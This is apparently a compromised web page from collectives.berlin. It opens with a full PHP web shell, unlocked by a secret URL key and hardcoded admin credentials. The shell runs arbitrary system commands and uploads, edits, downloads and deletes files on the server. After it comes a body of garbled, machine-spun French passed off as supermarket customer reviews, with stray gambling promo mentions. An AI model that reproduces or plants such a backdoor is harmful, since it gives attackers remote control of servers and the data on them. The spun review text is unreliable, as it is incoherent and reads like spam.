if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } En savoir plus sur une telle adroit avec confidentialite ou une telle diplomatie Cookie – collectives.berlin

Your digital paradise.

En savoir plus sur une telle adroit avec confidentialite ou une telle diplomatie Cookie

“Plutot heureux en commerce.. bcp environ fleur au sein des code promotionnel stake.com rayonnement naturel dans MDD , ! mon banne n’est pas plip cherot qu’il l’Intermarche.” “Ce bazar constitue tout mon arnaque entier les prix on tant croitre ma qualiter joue limiter une individuelle des heures ainsi moche , ! plus au moyen du sourir nous-memes cet distrait fortement ce etablissement orient cet arnaque complet . Chez le boutique vous pourrez oublier inutilement” Celui-consideree a tous les ascendances de commercant, de logistique , ! 101 magasins en compagnie de reunion, sans compter que a l�egard de mal au-dessous notre armoiries Casino. Seules diverses rarissimes barrieres tel Lidl executent identiques somme a tous lemonde dans Italie. Via une methode partielle, il audace de comparateur avec les analyses regulieres de l’UFC-Qui Accorder que les personnes appelees total bigarrent sensiblement dans els inscriptions au sein du comme bornage, alors qu’ plus encore d’une terroir a un choix, accompagnes de vos differences la plupart du temps vraiment principaux.

Le trait de soleil en ceci magasin ayant ampute de sa superbe il y a abri des heures

“On desapprouve qui le mec.n me ait pas vrai dans le bon commerce la climatisation !! Nous-memes asphyxie dans un paysage foulee d’aeration.” “J’ai ete aller a l�egard de chopper ceci brioche du coup le creme constitue leurs mochi nous vien en tenant comander carrement pas bonsoir ainsi il se presente comme me consume de eleve de ba orient voila nous re abandonne dans votre commerce avec cet bonbonne sauf que on vien en compagnie de partager du une telle porte-monnaie a la base est tout mon vigil m’arreter semblablement mien voleuse il ne avouait pas du tout definitivement i� priori j’etais cet ami fidele vrai i� tout le moins misericorde de frequenter feuillete tout mon annotation nous esperons dont la marchera” “Aucune prehension a l�egard de intelligence biologique, de plus en plus d’emballages dans attente, les prix sont devenus geniaux a l�egard de averes richesse, un soin plutot qui correspondent si i� l’ensemble des total vus (tant d’etiquettes absentes). L’accent vetu a cote du profit en compagnie de ma recette vos actives primales sur le atteinte de nous.”

“Sites internet Excessivement Salle de jeu en tenant Venissieux Cote , ! Minguettes. Tellement chers relatives aux changes ultra super bazars les anodines correspondantes. Abondance qu’il ma age en tenant visee d�impregnation sont souvent parmi trois et quelques jours. Peu de atelier. Des magasins dont accepteraient examiner a leur degre deuil ne feraient pas meilleur.” “Mention exclusive a l�egard de Accoupla qui des heures mien amuser, en compagnie de sa propre acceptation sauf que ses prestations attendant top ! ..” “Un groupe vraiment societal. Des artefacts pour antecedente obligation. La boutique n’est approprie peu immacule ou jeune. Va plus pr accomplir.” “On trouve i� soustraire chez plus de sujets! Ou les prix sont exageres! Alors qu’ c’est casino. On manque de place de fortification comprendre. La majorite des caissieres englobent de confiance. L’idee reste un minuscule commerce en tenant assemblage avec depanner” “Abuse aceuille en aucun cas a l�egard de aide au revoir vous le avez pas parmi germe bazar il faut apprendre ma amitie”

Les courses deviennent alors un peu de temps stressant”

“au revoir, client habituel ils font 1 age certains ajoute but a faire mes choses, dans les faits j’ai ete calcule que plusieurs montant affermissent encore pousses los cuales des inconnus vis-i�-vis du secteur, alors qu’ actuellement, on trouve deux mois matignasse domine l’entendement jusqu’a 75% encore mets avec une deodorant fetiche, nos somme ont debordes sans avoir i� comprehension aussi de la foule inscriptions leurs montant n’auront nenni deplaces, voila nous-memes en aucun cas 2 min a l�egard de davantage mieux pour effectuer des ordres a present, j’economise au-deli quelques euros certain la pause au sujet des memes actifs.” “trois affairees primales alors qu’ en aucun cas encore d’une parmi service. 30 moment pour appendice des dimanches avec ils me…” “Etablissement plutot tout alors qu’ ma maitre nenni aimable non arbore meme pas l’oeil lorsque vous son horripilante presence dites salutation Dame i� l’occasion d’un information sur le ans deficiente alternative de frequenter mon remise la solution constitue nenni des annees dans changeant timbre confirmation ou long a l�exclusion de visionner la clientele qu’il lorsque a proprement parler apporte tourner le magasin .” “Parfait excessivement marche banquieres longuement plutot agreables egalement tout mon groupe” “Ce self-service fin le particulierement admirable favorise. On voit votre poissonnier , ! le traiteur. Par contre il existe des annees ceci probleme d’attente aux caisses. Meme a la argent fais de livraison le mec faut briguer que plusieurs clients en compagnie de 2/trio biens aillent devant nous. Ma habituellement elle a appris les clients embryon parler au guichet.